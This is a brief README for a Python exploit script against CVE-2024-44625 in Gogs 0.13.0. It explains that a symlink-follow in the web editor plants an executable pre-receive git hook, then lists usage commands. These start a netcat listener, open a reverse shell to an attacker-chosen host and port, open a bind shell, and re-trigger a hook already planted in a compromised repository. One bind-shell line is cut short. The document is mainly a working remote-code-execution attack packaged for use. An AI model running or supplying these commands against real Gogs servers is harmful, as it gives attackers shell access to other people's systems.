CVE-2024-44625 & Gogs-RCE-0.13.0

Validated against a 0.13.0-era Gogs behind a reverse proxy. Primitive: web editor symlink-follow to an ABSENT .git/hooks/pre-receive creates that file (executable). Every subsequent push to the repo runs it.

Usage:

Reverse shell (run listener first: nc -lvnp 4444)

python3 gogs_rce_shell.py --url http://host --user admin1 --pass 'P@ss' \
    --mode reverse --lhost <YOUR_IP> --lport 4444

Bind shell (then connect: nc )

python3 gogs_rce_shell.py --url http://host --user admin1 --pass 'P@ss' \
    --mode bind --bind-port 5555

Re-trigger existing hook (repo already poisoned) without re-planting:

python3 gogs_rce_shell.py --url http://host --user admin1 --pass 'P@ss' \
    --mode reverse --lhost IP --lport 4444 --repo <name> --reuse --triggers 3